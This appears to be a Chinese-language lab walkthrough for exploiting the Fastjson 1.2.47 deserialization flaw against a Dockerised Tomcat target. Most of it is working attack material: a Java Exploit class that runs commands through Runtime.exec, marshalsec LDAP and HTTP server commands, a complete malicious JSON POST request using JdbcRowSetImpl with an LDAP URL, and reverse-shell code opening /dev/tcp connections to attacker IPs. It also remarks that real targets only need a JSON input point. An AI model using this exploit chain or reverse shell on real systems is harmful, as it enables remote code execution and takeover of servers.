環境建設

unbutu&kali安裝jdk:jdk8u181 鏈接: https://pan.baidu.com/s/1nI-JT93vjcA9--7fb0fhqw&shfl=shareset 提取碼: sven tomcat下載:https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz fastjson1.2.47: 鏈接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取碼: sven 工具:marshalsec,需要用mvn打包一下,github:https://github.com/mbechler/marshalsec 鏈接(已打包好): https://pan.baidu.com/s/1kT9vwhNDDdiJ3dL9BS3U4w&shfl=shareset 提取碼: sven
搭建docker環境
docker pull rightctrl/tomcat
docker run --name tomcat -p 8080:8080 -d rightctrl/tomcat 啟動容器
docker cp fastjson tomcat:/opt/tomcat/webapps 拷貝fastjson環境
docker exec -it tomcat /bin/bash 進入docker容器
訪問靶機界面:
利用:
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec("touch /tmp/fastjson.test"); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
1.編譯一下Exploit.java,生成Exploit.class,將2個文件放入服務器webapps / fastjson下
2、開啟三個監聽窗口
第一個,使用python搭建一個臨時的web服務
python -m SimpleHTTPServer 80

Ps:此步是為了接收LDAP服務重定向請求,需要在payload的目錄下開啟此web服務,這樣才可以訪問到payload文件
第二個,服務器使用marshalsec開啟LDAP服務監聽:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 99

Ps:使用marshalsec工具快捷的開啟LDAP服務,借助LDAP服務將LDAP reference result 重定向到web服務器
第三個,nc監聽
nc -lvp 1888
4.查看一下目標機器源代碼,發現參數名稱和年齡,構造一下,回顯正常,
ps:真實環境中這些都是目標機自帶的,找到提交json的地方構造poc即可
5.放上poc,查看靶機是否成功執行命令
POST /fastjson/ HTTP/1.1 Host: 192.168.1.109:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 247 { "name": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "x": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.1.102:8088/Exploit", "autoCommit": true } }
6.服務器的Ldap已接收到請求,命令成功執行
7.本地web服務接收成功
反彈殼
- 坑點之一,java反彈shell,無法直接使用bash -i>&/dev/tcp/119.28.130.53/18888 0>&1
-
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.124.5/888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }